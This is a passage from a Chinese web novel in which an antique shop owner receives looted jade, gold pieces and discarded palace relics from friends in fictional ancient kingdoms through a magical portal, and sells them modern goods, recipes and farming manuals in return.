黎岸捡起玉扳指套回手上，发出老钱的爽朗笑声：“小丫头年纪轻轻眼光却毒辣。 我请了人鉴定，也查过流传记录，这玉扳指确实出自宫廷，前几任主人里，有一个王爷，随着后人移居国外，才流落国外拍卖行被我们遇见。” 萧妧妧嚯了一声，更羡慕他们的运气了。 她也想在国外的街头捡漏。 8000万买下至少值两个亿的古董帝王绿翡翠，这漏可捡大了。 话又说回来，既然已经请了人鉴定，问她做什么？ 考考她？ “您这件了不得，我店里的东西可比不上。” 黎岸摆摆手，态度随性许多：“话不能这么说，我看你店里的古董就很好，翡翠更好。” 萧妧妧抽了抽嘴角，试探着道：“那……您二位再多买几件带走？” 萧妧妧没看出哪里异样，应该就像他们说的那样，单纯来选见面礼，是她多想了。 既然如此，她自然要把握住机会大赚一笔。 夫妻俩一愣，相视一笑，叶赛宁亲近地拉着萧妧妧的手，往旁边首饰展示柜带。 “你店里哪都好，就是东西少了点，剩下的几件我选不出来，你帮我都包起来吧。” 萧妧妧瞄了瞄柜台，所谓的剩下的几件数量不算少，8只手镯5枚挂牌。 全部加在一起……3900万！ 萧妧妧抿抿唇，打包的工夫偷摸给黎行聿发去一条消息。 萧妧妧：请速回 紧赶慢赶来到月牙巷巷子口，黎行聿看着新收到的消息，一头雾水。 再次拨打爸妈电话，依然无人接听，黎行聿推门下车，大步往不破斋去。 进了院子，猛地瞧见他们三人亲亲热热，好像他们才是一家三口，黎行聿愣住了。 “小聿你来啦，快来帮忙，我们买了好多东西呢，你找人送回家，送去月牙巷，我们今晚过去住。” 黎行聿沉默挑眉，质疑目光审视两人。 黎岸：“听你妈的，东西搬回去，今晚叫上小萧去家里吃饭。” “不行啊叔叔阿姨，我今天约好了要去一个聚会来着，好多人呢，对了，黎行聿也在。” 黎岸只好作罢：“行吧，你们年轻人聚，我们回去自己玩。” 黎行聿落后半步，疑惑目光转向萧妧妧。 萧妧妧使了个眼色，稍后再说，黎行聿便没多问。 又往外面送了送，萧妧妧挥手目送他们走远。 才回到店里没多久，黎行聿也折返回来。 “他们要在月牙巷继续逛，用不着我陪，”停顿一会，他道：“我爸妈几年没回来过，要见的朋友有点多，听了我的推荐来你店里看看，他们吓到你了？” 萧妧妧想了想，点点头又摇摇头。 着急忙慌的，她下意识联系黎行聿，后来发现是过度紧张。 听他这么一说，他爸妈确实只是来采购见面礼，顺带买亿点古董。 “不能说吓，他们买得东西太多，你不知道，我店铺空了一半，差点以为出什么事了，赶紧跟你说声。” 黎行聿望着她生动的表情，轻笑出声，拍拍她硬邦邦的脑袋：“看来确实吓到你了，安全冒都忘了摘。” 邦邦两声响起，萧妧妧呆滞的啊了一声，后知后觉摸向脑袋…… 所以，她刚才是顶着镭射紫狗耳朵头盔招呼客人的？ 萧妧妧笑容消失，脚趾蜷缩扣地。 难怪进了屋子还闷热的厉害。 关键是他爸妈一句没有提醒，现在想来，刚开始的古怪视线，一定是因为她的头盔。 她语气飘忽，支支吾吾：“你爸妈……他们……嗯……” 黎行聿忍笑说：“他们认为你很时髦。” 不理解，但完全尊重。 听到时髦两个字，萧妧妧唰一下涨红了脸。 “记得跟你爸妈说一声，我平时很土的，一点不时髦。” 黎行聿忍不住了，肩头耸动，拳头掩住唇角闷笑。 萧妧妧权当没看见，摘下头盔，噔噔噔跑去院外把史努比推进来。 然后假装忙碌。 黎行聿扫一眼腕表：“不早了，一起吃午饭？” 萧妧妧捧起一礼盒示意他看另一边：“今天恐怕没时间。” 黎行聿偏头一扫，不知道他们都买了什么，大小盒子像积木一样堆在一起，可以想象萧妧妧忙到什么程度。 他无奈接受，“晚一点会有人取，下午我来接你。” 萧妧妧比了个OK手势。 老熟人了，萧妧妧没去送他，后来想起自己害他白跑一趟，又给他发了消息道歉。 黎行聿大度得很，表示理解。 萧妧妧松了一口气，望着小山一样的礼品盒，更愁了。 店铺空了需要补货，清扫鉴定品级都是事，但这些不算麻烦，关键是，这一单总价超1.4的生意又是黎行聿推荐。 她岂不是要摘个月亮送给他，才能还清人情？ 萧妧妧唉声叹气地忙着手里活。 孟甜甜不解：“赚了那么多钱，你怎么还不高兴了？” 萧妧妧：“不是不高兴，就是愁。” “愁什么呢？” 正说着话，申明月背着一大箩筐进来。 她缓缓蹲下，箩筐搁在石桌上才揭开带子。 “愁她的店铺，客人扫荡一空，没得卖了。”孟甜甜随口秃噜，从摇椅上爬起来，“你背的什么，看起来不轻啊。” 申明月：“这几天去山里看匠人造纸，正好野石榴熟了，我背来给你们尝尝。” 孟甜甜踮脚伸手，一扒拉，拳头大小的石榴手里握了两颗。 申明月解释：“我怕你们吃不完，放久了容易坏，没敢摘太多熟透的。” 她掰开一颗石榴分给孟甜甜尝尝味，小碎步溜到萧妧妧身边，探头往店里张望。 “哇，果然扫荡一空。”申明月分一瓣石榴粒塞给她，真诚又慷慨：“别怕，我这次来是给你送货的，保证够你用。” 申明月给自己嘴里塞了几十粒籽，脸颊鼓囊囊地嚼嚼嚼。 望着萧妧妧亮晶晶的眼眸，迟钝想起来另一件事，她含糊不清地补充：“对了，我也是来补货的。” 【作者有话说】 周六的更新大概会晚一点，21点赶不上，尽量24点之前。 感谢读者“桑椹红葡萄”,灌溉营养液 +1 感谢读者“蜜桃乌龙猹”,灌溉营养液 +1 166 第166章 ◎暴殄天物◎ 申明月的珍宝阁开业不足半月,其售卖的布匹玉髓等产品就因“物美价廉”而遭到城中居民哄抢。 甚至过往商队都会短暂逗留，在珍宝阁买些琉璃玻璃运往四面八方出售。 这几日山中事了，难得回城一趟，申明月望着空荡荡的货仓,以及手下人疲累又幸福的模样,彻底傻眼。 有想过东西受欢迎,没想过受欢迎到售罄。 尤其布匹,家家户户都要用，珍宝阁卖的比别处便宜好几百文,纹饰特别不说，颜色鲜亮牢固,触之结实又柔软，深受居民喜爱,拉着邻里拼单。 至于玻璃餐具、琉璃摆件，城中大户不少,不管为着什么来捧场,反正每户至少买走一件琉璃摆件。 更有底蕴的世家、商贾会买全套玻璃餐具,不管是自家招待贵客使用,或是人情往来,都很适宜。 六国十八州，唯有升州出现了大批量精美的器物，全城轰动自是不必说，消息也在半月时间里随着来往商队流传至周边。 申明月回城听族长舅舅说,已有其他州城的士族世交联系他买琉璃水银镜等物。 族长舅舅不敢擅自应答，积累的信件厚厚一摞,等申明月回来再做决断。 申明月看看账房成堆的金银,又低头看看手里一摞订单,再环顾空空如也的货仓，火急火燎赶来进货。 赚疯了！ 合着平日里大家都在哭穷，一到花钱的时候，个比个有钱。 申明月粗略估算，这一来一回的倒腾，本钱赚回来了，利润翻了好几番。 更令她惊喜的是，商队来往密切，贸易复苏，升州的经济环境大大改善，因战争带来的惶恐氛围彻底驱散。 萧妧妧见她喜滋滋，笑得眼睛眯成一条缝，根本不用多嘴问生意如何。 “可算来了，你那些布积压了好几天。” 申明月嚼嚼嚼，道：“我哪知道速度那么快，失策了。” 最后几只翡翠镯子装好，所有票据和流传记录塞进档案袋里，萧妧妧吐掉满嘴的籽，忙着送货。 申明月把手心里刚剥出来的石榴粒往嘴里塞，剩下一半来不及吃，通通丢给孟甜甜，跟在萧妧妧后面，屁颠屁颠进屋。 擦净手上石榴汁液，她翻开自带的大箱子，货架上的和田玉、玛瑙、水晶、玻璃、琉璃……见到什么拿什么，一股脑往箱子里塞，塞满了拜托萧妧妧送回去，她又拖来一个空箱子，装手持镜、水晶缎、香云纱…… 萧妧妧看她如蝗虫过境，路过一片货架便空了一片。 “妧妧姐，货太少了，这么点可卖不了几天。而且我得发军饷，所需甚巨啊。”申明月看似发愁，实则语气轻快，听起来有点炫耀的意思。 萧妧妧摇摇头，掏出手机，给玛瑙玉髓批发商老板下新订单，联系工厂订新的玻璃餐具送来。 上回订的是透明色，这回为了新鲜感，多订了一批粉色蓝色绿色，配有雕纹或夹层等多种技法的成品。 “对了，妧妧姐，你这里香料便宜，帮我再订一批香料。” 申明月打算等店里生意冷下来后再售卖辛香料，变着花样留住顾客，不过为了升州尽快繁华起来，吸引更多商队经过，只能提前。 到时候卫生纸和便宜的宣纸差不多可以攒一大批，应当能接上，稳住客流。 萧妧妧应了一声好，指了指另一边货架，让她随意取用，然后继续订香料。 申明月砸吧砸吧嘴，不满意只有这十几袋胡椒丁香，勉为其难装箱。 一箱又一箱，前脚古董铺被扫荡一空，后脚小卖部差不多也空了大半。 萧妧妧抬头看一眼反光的货架，陷入沉默。 申明月探头欣赏结界另一边爆满的货仓，满意叉腰。 货仓装满，采购结束，申明月躲回房间，五大箱子排成排，等萧妧妧选中传送回去。 这回轮到萧妧妧咋舌：“这么多？” “不算多，两箱是上回答应要给你的，剩下三箱是这次进货用。” 申明月落后一步进来，手里抱着一件50多厘米高的摆件。 “喏，抄家抄来的，我特意给你留下的好东西。” 金灿灿绿莹莹的大孔雀“咚”一声搁在桌上。 萧妧妧顾不上箱子里摆了什么，目光不自觉落在大孔雀上。 金灿灿的是金子，绿莹莹的是绿翠。 孔雀由金子铸成，雕以栩栩如生的羽毛纹路，尾羽同样由金子打造，呈扇形展开，丰富色彩则通过宝石翡翠等物呈现。 绿的翡翠，蓝的宝石，细碎青金石切割成多面体嵌在细缝中。 好一件孔雀开屏，金孔雀开出宝石屏。 萧妧妧绕着观察了一圈，每挪一步，尾羽部分便闪烁不同光泽，不管任何角度，都会被它惊艳。 她凑近抱起孔雀掂了掂，沉的胳膊疼，粗略估计，最少有6公斤，纯金有多重不得而知。 看完金子，她俯身去看尾羽上的翡翠。 尾羽雕出九根，寓意长久、尊贵，每一根尾端嵌了一颗椭圆形玻璃种正阳绿蛋面，饱满圆润。 萧妧妧仔细查看，蛋面种水好颜色佳，工匠取其精华，用雕工完美展现了翡翠的嫩与绿。 类似品质的蛋面，按当下行情算，一枚差不多值小千万，九枚…… 萧妧妧还没算上蓝宝石和金子的价值，若是加在一起，那可不好说了。 申明月上来就给这么大一个惊喜，也不怕衬得后面的东西入不了眼。 “不是我自吹自擂，其他东西不比孔雀差多少。” 申明月在货架间忙忙碌碌，来回寻觅，看看还有什么用得上的东西，抽空和她搭话。 萧妧妧挑眉，暂且放下金孔雀，掀开箱笼盖子。 申明月见状急促提醒：“慢些，小心里面东西漫出来。” 萧妧妧手上动作顿了顿，一手轻而缓地拉开箱子，一手挡住缝隙防止东西摔出来。 有申明月几句话打底，萧妧妧的期待值已然拉高，打开盖子看清里面景况，她可以老实的说，远超过她的期待值。 “你就这么对待它们？” 难怪说会漫出来，瞧瞧申明月粗糙的装箱手法。 翡翠手镯按品类束成一串，所谓一串有20只，绳子穿过圈口绑紧，便成了一串。 这种手法，她在玉器批发市场见过，那些不太值钱的玉髓玛瑙，一串一串摆在摊子上供人挑选。 箱子装满不说，顶端高高耸起，刚好把盖子部分的弧形空间顶满，万一开箱动作粗暴，难保不会塌下来一串两串。 “哎呀，不要嫌弃，东西太多了，每件都用匣子装，我起码要装十好几箱，麻烦，索性全捆一起了。” 萧妧妧提出一串，又提出一串，像提香蕉似的。 一层铺四排，每排六串，就是二十四串，箱笼足够深，一共叠了五层…… 萧妧妧掰着手指头算了算，嘶一声，“你抄了翡翠矿？” 这么多货放出去，市场得完蛋。 申明月不以为意：“这算什么，说出来你都不敢信，那些世家大族富得流油，城郊土地几乎全是他们的，庄子不必说了，我抄来的这些东西，在他们家库房里最多占一排架子，那些书画摆件屏风家具……占了一排屋子呢。” 金银布匹和粮食她自己留下了，需要卖出去变现的奇珍异宝慢慢出手，翡翠玉石是萧妧妧喜欢的，她全部搬进自家别庄用做进货的本钱。 萧妧妧喃喃：“信，怎么不信，这串冰黄翡就不是寻常人能用的。” 冰黄翡，且是高品质的，一只少说千万了，这一串有20只，其中几只达到了玻璃种。 看品相，只只收藏级别，种水颜色特别顶，三次元不多见的好籽料。 懂行的人一看便知道这些是老货，现代矿场几乎见不到类似的品质，必定出自早期河床人工开采。 这样好的籽料，在古代多专供特权阶层，寻常人接触不到。 萧妧妧见过的现代矿场产出的冰黄翡，棉絮多，暗裂明显，不够油润。 这是没办法的事，连续几个世纪的开采，冲刷到河床的水石，也就是籽料，几乎枯竭。 现代大规模采料多是采山料，为了提高效率和降低成本，摒弃人工，采用爆破挖掘的方式，也就导致现代矿场产出的山料极易出现裂纹。 目前市面上出现一只裂纹少的冰黄翡，要价大几百万都不算贵，毕竟太过难得。 不止是冰黄翡，其他品类也面临类似问题，市面上流通的顶尖好货多来自上个世纪的库存囤货，老坑价高由此而来。 像她手里这一串无棉无裂的上等冰黄翡，开价千万算保守。 申明月挠头，是这样吗？可她见家里亲戚人手一只，来之前特意找了一只给母亲戴。 看完冰黄翡，萧妧妧去看其他几串。 常见的不多说了，黄加绿、福禄寿、白月光、春带彩、正阳绿…… 稀缺的帝王绿、帝王紫，在这箱子里看不出一点稀缺，甚至泛滥。 萧妧妧吞了吞唾沫，一手拎起帝王绿，一手拎起帝王紫。 视线下移，箱子里还有一排帝王绿、一排帝王紫，以及一排稍淡的紫罗兰。 飞快扫视一圈，要么高冰种，要么玻璃种，普通冰种都少见，什么糯种更是不存在。 萧妧妧一连扒拉了好几串，一屁股坐在地上。 好家伙，没一个便宜货。 申明月催促：“快看看其他几箱，我精挑细选的好东西。” 萧妧妧闻言，小心翼翼收好翡翠手镯，挪到旁边。 “这一箱全是摆件，真不知道那些夫人小姐为何都爱拜佛。” 盖子一打开，萧妧妧就看见了横七竖八，满满一箱的翡翠神佛。 或站像或坐像，有观音、有关二爷、有弥勒佛，更有财神爷。 佛像摆件大小不一，大的有她小臂那么高，20多厘米将近30厘米的样子，小的刚好一个巴掌那么高。 再看颜色，以阳绿为主，夹杂几件无色玻璃种和满色帝王紫。 萧妧妧一眼瞧中唯一的一件帝王紫，高约23厘米，非常漂亮的紫，而且是高冰种。 单这一件便价值不菲，别说整个箱子里大小神佛足有40多件。 “暴殄天物！” 萧妧妧心疼坏了，哪有这么糟蹋东西的，一个堆着一个，堆石块一样。 手镯罢了，不摔着就行，雕像可不同，上面随便嗑断什么价值砍半。 她依次捧出摆在柜台上，小跑去古董铺翻找合适的礼盒包装好，再塞进收纳箱装进空间里。 忙完，萧妧妧舒坦了。 申明月讪笑，举手发誓：“下回我保证再仔细些。” 萧妧妧哼哼两声，去看下一箱。 “这一箱多为实用器，不知你用不用得上，我各挑了一些过来。” 申明月所谓的各挑了些，依旧是装满。 碍于它们精致小巧，倒没有像手镯那些堆成山，恰好装满的程度。 萧妧妧捡起一件挂钩造型的小玩意，稀里糊涂的问：“这是什么？” “你手里的叫带钩，里面有带板，一整套放在一个匣子里，它们是用在腰带上的装饰品。” “对了，玉琮玉璧玉佩什么的，我一并放里面了。”申明月嘘一口气：“你不知道，那些人以为都我疯了。” 这些东西在他们眼里是实用器具，虽然材料好些，但也不算什么，申明月这一抢，就像小偷上门连喝水杯也不放过。 “他们背后肯定骂我是土匪。”申明月不以为耻，反以为荣，马尾在脑后一甩一甩。 萧妧妧闻言放下带钩，轻轻拨了拨，果然乱七八糟什么都有，和田玉和翡翠随意堆放。 她伸手在底下摸了摸，动作极为缓慢小心地抽出一件大盘子似的翡翠玉璧。 浓郁的深绿为玉璧添了几分神秘，上面精细雕刻的纹路带着一丝神圣的味道。 看起来像祭祀用的礼器，具体用途无从得知。 翡翠玉璧好说，带板带钩时下用不上，恐怕要捡出来重新雕件。 带钩细长，暂时想不出能雕什么，实在不行车珠子算了。 带板够大，无论改成无事牌又或是其他挂件，都适合。 萧妧妧转动脑筋，飞快安排好它们的未来，转头去看第三箱。 申明月凑过来，信誓旦旦拍着胸口说：“这一箱你肯定喜欢。” 萧妧妧脱口而出：“你送来的我都喜欢。” 申明月再一次笑眯了眼。 第三箱讲究许多，许多细长的匣子层层叠叠堆在一起。 她随手捡出一盒，长度约有30厘米左右，宽不过5厘米，非常精巧。 打开盒子，绒布凹陷，里面躺着一根翡翠一字发簪，通体辣绿色，表面雕有莲花纹。 萧妧妧不用发簪，但不妨碍她欣赏，申明月没说错，她果然很喜欢。 剩下的随机挑选，一一打开确认，全是发簪，各种颜色、款式。 一字簪、对簪、步摇簪，雕花、镶嵌、素面……翡翠为主石，配各种金属材料，一眼望过去花里胡哨，巧夺天工。 现在的翡翠市场，除非自己选料子定制，否则可真不好找翡翠的簪子。 冷门，卖不出去，自然没有商家愿意做。 萧妧妧不知道它们会不会有人喜欢，但她挺喜欢，哪怕冷门到砸手里。 申明月偷瞄她神色，见她爱不释手，想往头上插又怕摔了，捂嘴偷笑。 【作者有话说】 感谢读者“哈哈哈哈哈”,灌溉营养液 +2 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“零时户”,灌溉营养液 +33 感谢读者“桑椹红葡萄”,灌溉营养液 +1 167 第167章 ◎彼之破烂，吾之珍贵古董◎ 翡翠发簪精巧娇贵,平常穿戴易磕碰，萧妧妧只能私下过一把瘾。 她在上百个匣子里挑出一支一字金簪，顶端嵌有一块扇形绿翠，衔接处坠了三粒8mm小金珠流苏。 簪子顺着发丝绞了两圈,稳稳插在发间,萧妧妧捧着镜子照了照,富贵气息扑面而来。 申明月连声夸好看,掀了第四箱盖子，道：“正巧,这一箱全是珠链，配发簪倒也合适。我见那些珊瑚、珍珠、湖泊、南红……都好看,一并添进去了。” 萧妧妧举着手要扶不扶的姿态，生怕簪子滑脱摔了。 她不敢低头,半蹲下凑到箱子边。 同样是细长的匣子，毫无规律的塞了满满一箱。 左边抽出一盒,打开,一条和田玉珠链。 中间抽出一盒,躺着一串黄翡珠链。 临近的匣子精美,抽出来打开,里面则是一串15mm大小的阳绿珠链，108颗珠子颗颗水润，绿得妖艳。 右边的匣子螺钿镶嵌，打开发现,里面是一串珍珠，金色珍珠,16mm的南洋金珠。 南洋金珠不比东珠差,貌美动人,萧妧妧一瞧见就忍不住往脖子上挂。 “真好看……” 她的视线几乎黏在珍珠链上，想摩挲又不敢下重手，偷感十足的轻触几下再缩回去。 太闪亮了，总担心她的触摸影响金珠的璀璨程度，故而不敢触碰。 申明月则随意多了，初见惊艳了一把，之后便不觉得如何，远不如粮食吸引她。 连年大旱，听管家说，今年收成大概率也不太好，这些珠子好看归好看，到底不能吃进肚子里。 “妧妧姐，我还要再买些粮食，你为我安排一下，需要多少我后头补给你。” 萧妧妧正欣赏珠宝，茫然了一瞬，不记得她前面是不是说了什么，怎么突然跳话题到买粮食上。 她愣了一会应声，继续看其他珠链。 萧妧妧恋恋不舍放下匣子，又抽出最右侧的雕花长匣。 一打开，一串上等的羊脂白玉珠链并玉佩跃入眼帘。 萧妧妧哇了一声，忍不住上手抚摸。 她是第一次见到这么高品质的羊脂白玉，估摸能值中七位数。 欣赏片刻，萧妧妧加快速度翻了翻剩下的匣子。 青金石、南红、芙蓉石、碧玺、象牙、绿松石、蓝红宝石……材质不一而足，有几条她认不出来，只知道好看。 满满一箱一共160条珠链，翡翠占其中80条，剩余的什么材质都有，如申明月所言，确实漂亮。 只可惜卖出去不及翡翠值钱。 萧妧妧可惜了一秒，高高兴兴决定把它们送去自己的衣帽间。 卖不掉那就自己戴着玩，总归不算浪费。 申明月这时又引着她去看最后一箱。 “这一箱数量少了些，不过都是精品。”她神神秘秘地掀开盖子，等着萧妧妧露出惊艳神色。 萧妧妧打起精神，想看看有多精品。 伸头一瞄，确实数量不多，看匣子分布，约莫30个左右。 一个匣子蒲扇那么大，看起来像是装了全套首饰。 她捡起一个打开，没猜错，的确是一套珍珠头面，项链、耳坠、发簪、手串。 又捡起一个匣子，同样是全套饰品，材质不是珍珠，而是翡翠。 一打开匣子，属于木料的清香气息扑面而来，再看匣子表面，可见这套首饰平日里不常用。 “你把那些夫人小姐压箱底的家当都找出来了？” 申明月嘿嘿笑，坦然承认。 “你手里这件有点说法，是那位李贵妇原先的嫁妆，后来因为进宫，嫁妆一事不了了之，便存在她母亲的私库里。” 萧妧妧比了个大拇指，看样子这回没少抢，比上次送来的几箱，不管是品质还是数量，都高出一大截。 她又扒拉一通底下几个匣子，大差不差，翡翠珍珠或者红宝石头面，成色不必说，能让世家大族都当成压箱底的宝贝，绝对不俗。 “你把那几家抄了个底朝天，不怕人家闹起来？” 申明月混不吝的仰头*，一副能奈我何的样子：“闹又如何，他们又没有兵打过来，反正是大宇朝的人，不抢白不抢。” 萧妧妧很喜欢她这个心态，又问：“那他们背后做手脚怎么办？” 申明月笑得别有深意：“我出城前，把抢来碎银和铜板全洒了出去，走一路洒一路，越是贫困的乡民洒得越多，不提别的，只说抢了那几家乡绅富豪，民脂民膏还于民。” “他们现在啊，巴不得我再打进去一次，再洒一次钱，背地里夸我勇猛威武，还说我良善爱民，有我外祖的风范。任那些世家如何编排，城中百姓念我的好。” “妧妧姐你不知，已经有许多大宇朝的子民要来我升州安家落户，城外荒地也有人耕作了，如此下去，升州城必定再次兴旺。” 萧妧妧撑着下巴，看她如数家珍说起升州大小事务，含糊道：“你现在看起来像城主。” 有点种田基建的内味了，看不出来她要一统天下的野心。 “什么城主，我申家是升州城的支柱，必然要为城中百姓着想。他们日子过好了，富庶了，升州才能壮大声势。” 萧妧妧好奇追问：“那你打了胜仗，你那个便宜爹有什么反应？” 申明月一拍巴掌，兴奋讲述，好像在说别人家的八卦。 “你问得正是时候，探子将将来报，兵部户部互相推卸责任，吵得不可开交，那老登气得连贬三人。 不过他们现在可没时间管我，大宇境内丢失赔款，便是想栽赃我挑衅南朝也说不过去，他们正犯愁，如何筹集另一批赔款。” 连吃了败仗，国库不丰，私库舍不得给，老登唯一的办法便剩下压榨臣民。 老百姓能挤出几个钱？听说老登盯上了京城的几家世族。 别说眼下，再给他一年半载也缓不过劲攻打升州，申明月正好趁这段时间休养生息。 “要我说，大宇气数已尽，两年内必乱。”申明月摇头晃脑道。 “你准备怎么办？率兵打进去？你不打，别人就要打你了，拿下大宇顺带拿下升州，整个西南的国度便能完全掌控。” 申明月面色沉了沉：“族长舅舅也在为此事担忧，大宇乱了，升州讨不了好，若要先下手为强，始终不占道义，怕被世人诟病。” 一城百姓的命，不敢赌。 她想好了，先好好种粮食，发展贸易，不管以后什么情况，多积累底牌总归不会错。 苟一阵是一阵，兵来将挡水来土掩呗。 萧妧妧闻言，感慨一句时势造英雄。 申明月起初并没有当女帝当大将军的野心，只想护住自己的亲人好好过日子，时势逼迫她走上了另一条路。 话题越发深入，气氛逐渐沉下来，两人说到一半赶紧止住，各自收拾东西回去忙。 申明月前脚刚走，萧妧妧忙着下单粮食，柳如烟一蹦一跳进来了。 “萧老板，你快看看你要哪些。” 萧妧妧抬头，柳如烟岔开腿，一脚踩在小卖部，一脚踩在一间类似库房的地面。 她来回摆动脑袋明中观察，发间步摇晃得厉害。 “我寻了个由头来到内务府杂物房，这里堆了各宫送来报损的损坏器具。 按理说要一并销毁，宫里物件禁止外传，我是听宫人说，会有些人偷几件损毁情况不严重的运出去卖。 不管毁了还是卖了，都差不多，不如我偷些给你。 你看那个架子，是不是你要的汉金器？” 萧妧妧顾不上取笑她鬼祟举止，顺着她胳膊望过去，一尊小腿那么高的鎏金铜像。 她辨别了一会，应该是西王母坐像，眼珠子由琉璃镶嵌，莲花台刮擦痕迹明显。 “就它吧，还有别的？”她问。 柳如烟从袖子里掏出一块帕子包裹着的东西：“喏，上回答应给你的。” 萧妧妧接过东西，感受了一下，颇有份量。 揭开帕子，又是一尊佛像，造型略有不同，应该是观音诵经立像，雕塑技艺超绝，观音的面庞充满神圣与悲悯。 这一尊观音像同样是鎏金工艺，总高20厘米，背后有明显凹痕。 “别光瞧它，你快挑挑别的，我来这一趟不容易。”柳如烟见她抱着观音像不撒手，一边观察宫人动静，一边低声催促。 萧妧妧唉了一声，走到结界旁，认认真真挑选起来。 “右边第三个架子，鎏金貔貅、鎏金仙鹤，第六个架子，半人高的那个鎏金马，第一排箱笼上面的鎏金熏炉鎏金火盆，对了，下面那个珐琅火盆也不错，一起带来。” 柳如烟一一锁定目标，踮着脚迈着小碎步溜过去，抱起东西就往小卖部塞。 “这个鎏金的瓶子不错，拿走。 旁边做成塔的什么玩意？鎏金嵌宝石的那个，对，一起拿来。 架子最底下的是鎏金匣子吗？拿来吧。 快快快，你左手边有个金胎的珐琅盘，别漏了。 等等，退回去，抬头，右边第二个有一套珐琅茶壶，抱来。” 萧妧妧不客气地挑出来一堆，可把柳如烟忙坏了，架子间上蹿下跳，够不到只敢自己蹦跶，不敢叫宫人进来帮忙。 一件接一件送过来，萧妧妧仔细查看，所谓的损坏并不严重，至少和她以为的损坏不是一个概念。 比如金胎珐琅盘，杯盘为一套，珐琅杯嗑坏了一角，完好无损的盘也不能幸免，全套淘汰。 其实不淘汰也行，另找一件相同工艺的杯子凑齐不差什么。 然而宫廷里吃穿用度讲究颇多，不成套的东西摆在明面上不体面，再有宫人可以借机将东西昧下，偷偷运出宫换钱。 种种因素叠加，形成了潜规则，默认不成套的器物需要淘换下去。 比如她最后挑出来的珐琅茶壶，因为缺了盖子，茶杯碎了一个，这一套全废。 报损之后，瓷器陶器打碎销毁，禁止流出宫廷。金银铜器物会在登记造册后送到匠人手里，撬掉上面的宝石珍珠入库存放，金银融了重新打造或是入库。 听柳如烟解说完整套流程，萧妧妧恨不得把整间杂物房搬来。 她不嫌弃它们！ 管它成不成套，萧妧妧看到喜欢的抬手一指，柳如烟噔噔噔跑过去为她抱来。 “那对金錾牡丹纹嵌珍珠的杯盘不错。” 柳如烟刚放下一件珐琅瓶，闻言气鼓鼓起身，斜了萧妧妧一眼，扭头去找她说的杯盘。 “别急别急，旁边的鎏金弥勒一起带来。青玉花插看起来还行，拿来吧。芙蓉石雕花水盛见到了吗？对，你右手边那个，顺道带来。” 柳如烟环顾，很快锁定萧妧妧点名道姓要的水盛，眼睛丈量一下距离，中间分明隔了三排架子，算哪门子的顺道？ 她绷紧一张俏脸，绕过去抽走水盛抱进怀里，踩着重重步子回到小卖部，一股脑丢在桌上。 然后，柳如烟一屁股坐下，说什么都不肯回去了。 “你倒舒坦，把本宫支使得团团转，再要什么你自己去吧！你看看你挑的那些大家伙，我很累的！”柳如烟双手环胸，撅着嘴，赌气似的抱怨。 萧妧妧摸了摸鼻尖，心虚不已，好像是有点贪心了。 彼之破烂，吾之珍贵古董，谁能忍得住？ 她迈步上前按住柳如烟肩膀轻捶，笑容殷勤讨好，夹着嗓子作怪说道：“辛苦公主殿下~” 嘴里说辛苦，眼睛一个劲往桌上瞄，舍不得挪开半寸。 奢侈！浪费！ 瞧瞧那一件件，盘子上掉了两颗珍珠，一套金錾茶具就算废了。 在萧妧妧看来，不过是些小毛病，不妨碍它们的主要功用，却因为不够完美而被丢弃，倒是便宜了她。 当然，作为古董，有缺憾也是一种完美。 柳如烟本就没有多生气，三言两语被她哄好，哼哼两声，不客气地点菜 “午饭我要吃海鲜烩面，还要吃红烧肉，对了对了，上回你买的牛排不错，再来一次。” 念在柳如烟辛苦跑了一趟又一趟，她的要求萧妧妧全部满足，另外点来一份炸鸡烤串慰劳她。 柳如烟满意了，歇够了，拍拍手起身：“我要回去遮掩一二，很快回来。” 萧妧妧挥挥手，目送她离开，开始检查这些“破烂”的损坏程度。 鎏金铜像多来自汉朝，无疑是古董，而那些精美的杯盘瓶子，大概率算做艺术品。 未免出现错漏，错把古董当工艺品卖，萧妧妧打定主意要为它们一一估价，再送去评级 考虑两个朝代相隔不过百年，工艺技法的变革不会太颠覆，颜料材质不怕检测，说不准可以蹭一个古董的身份。 想到这里，萧妧妧检查的动作越发小心。 该修的修，该补的补，就算不能当古董出手，做为工艺品它们也够格。 【作者有话说】 感谢读者“月樱清寒”,灌溉营养液 +60 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“冬雪”,灌溉营养液 +50 感谢读者“月白”,灌溉营养液 +10 感谢读者“朝夕宿莽”,灌溉营养液 +1 感谢读者“蜜桃乌龙猹”,灌溉营养液 +5 168 第168章 ◎6000万的人情往来◎ 哪些可以勉强出手,哪些可以由她自己处理，还有哪些需要寻找细分品类的专业文物修复师，萧妧妧一一标记整理清楚。 等进了九月估价结束，再做后续安排。 外卖陆续送到,萧妧妧手里的活告一段落。 申明月恰好忙完珍宝阁事务安排,蹦蹦跳跳赶来吃午饭,柳如烟稍慢一步进店。 孟甜甜招呼大家分餐具,柳如烟一看到炸鸡块没忍住，一人分了一块,剩下的全归她。 申明月一筷子夹起红烧肉往嘴里塞，咀嚼几下,赞不绝口。 “妧妧姐，为什么你这里的猪肉一点怪味都没有,可真好吃。” 柳如烟深表认同，嘴里啃着鸡腿还不忘附和申明月,连连点头。 萧妧妧看她们狼吞虎咽,嘴角一圈酱汁,沉醉在美食中不知天地为何物,眼珠子滴溜溜转。 “巧了,这涉及养殖技术，我新整理了一套母猪养殖纲要，上面有写如何精细化养殖才能改善肉质与口感。对了，附赠一份骟猪小技巧和猪肉烹饪方法,以及一份饲料配比表。” 申明月刚缴获不菲战利品，店铺也为她挣来了一大桶金银,很舍得在口腹之欲上花钱。 “我要买,等会回去我带走。”申明月舔舔唇角油脂,唰一下举手抢购。 柳如烟刚捞起一块排骨啃啃啃，闻言，三两口吞了肉，丢了骨头，不甘落后举手抢购。 “我我我，还有我。” 两人幼稚死了，竞赛一样比谁举得手高，互不相让，差点站在凳子上。 “正好，你们都爱吃我这里的菜，菜谱一并买走？八大菜系，煎炸烹炒焖溜熬炖，一个月不重样。郑重说明：炒菜锅需另外购买。” 申明月：“买！” 柳如烟：“买！锅也要。” 萧妧妧安抚：“都有都有，不白来。” 萧妧妧笑得心满意足，招呼二人多吃点。 孟甜甜环顾三人，强忍笑意，埋头吃饭。 午饭过后，申明月留下来帮着洗碗，好奇地守着洗碗机看它工作。 柳如烟不情不愿地收拾桌子，打扫卫生。 她在宫里哪需要做这些粗活啊？ 可不帮忙萧老板不给饭吃，柳如烟只好放下身段，忍辱负重。 